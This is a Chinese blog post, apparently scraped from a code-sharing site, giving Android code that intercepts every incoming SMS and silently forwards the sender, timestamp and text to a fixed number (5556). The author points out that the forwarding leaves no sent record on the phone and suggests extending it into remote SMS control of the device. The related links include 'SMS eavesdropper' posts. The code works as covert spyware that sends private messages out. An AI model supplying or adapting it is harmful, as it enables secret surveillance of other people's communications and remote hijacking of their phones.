android 转发短信
来源:互联网 发布:手机淘宝怎么降价提醒 编辑:程序博客网 时间:2024/06/05 20:29
通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下,说一下简单的原理,要实现控制的话,必须得走一个固定的号码,固定的格式,然后通过得到此号码的内容,然后通过固定的内容,就可以了解需要做什么,再执行相应的代码,即可!代码很简单了!
在使用过程中的需要添加如下权限:
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission><uses-permission android:name="android.permission.READ_SMS"></uses-permission><uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
我测试的时候是发送出去之后,手机上没有发送记录,当然了,你的手机肯定会留下扣费的记录的,因此也不是完全没有发送记录!因为这个是通过手机号发送的!
代码如下:
import java.text.SimpleDateFormat;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.net.Uri;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class SMS extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stub// 监听短信广播if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 获取短信内容for (Object pdu : pdus) {byte[] data = (byte[]) pdu;SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信数据生成短信对象String sender = message.getOriginatingAddress();// 获取短信的发送者String content = message.getMessageBody();// 获取短信的内容Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = format.format(date);SmsManager manager = SmsManager.getDefault();manager.sendTextMessage("5556", null, "发送人:" + sender+ "-----发送时间:" + sendtime + "----内容:" + content, null,null);// 把拦截到的短信发送到你指定的手机,此处为5556}}}}
阅读全文
0 0
- android 转发短信
- android 短信自动转发功能
- android实现短信自动转发
- Android短信转发默认不需要转发号码修改方法
- Android实现短信监听并且转发到指定的手机号,转发后不留痕
- Android实现短信监听并且转发到指定的手机号,转发后不留痕
- 基于BroadCastSend的短信转发
- android学习笔记---37_采用广播接收者实现短信窃听,以及拦截特定号码的短信,以及该短信的上传转发
- android 短信
- android短信
- Android 短信
- Android短信
- Android短信窃听器短信拦截
- Android拦截短信,接收短信
- android adb 端口转发
- Android巴士转发
- SMSD短信转发群发工具详细使用教程
- java反射机制示例(短信接收转发实现)
- 排列的字典序问题Permrank题解
- FZU 2282 Wand,利用扩展欧几里得求逆元快速求C(n,m) , 错排公式推导
- 使用c#的正则表达式验证中文字符
- 尼科彻斯定理 oj14
- BigBlueButton官方安装文档简单翻译
- android 转发短信
- Java学习之位运算符
- 5分钟搞定android混淆
- Java中Sring类源码分析学习
- NYOJ 56 阶乘因式分解(一)
- HDU2500 做一个正气的杭电人【水题】
- 认识考点流解题方法
- java基础知识0720
- GitHub转华为软件开发云详细教程